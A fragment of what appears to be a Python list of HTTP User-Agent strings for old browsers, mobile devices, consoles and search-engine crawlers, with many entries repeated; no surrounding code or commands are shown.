'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)',
'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com',
'Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)',
'Mozilla/4.0 (compatible; Arachmo)', 'Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)',
'BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)',
'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
'Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)',
'Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1',
'Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A',
'Mozilla/5.0 (PLAYSTATION 3; 3.55)', 'Mozilla/5.0 (PLAYSTATION 3; 2.00)',
'Mozilla/5.0 (PLAYSTATION 3; 1.00)',
'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0',
'Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)',
'SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
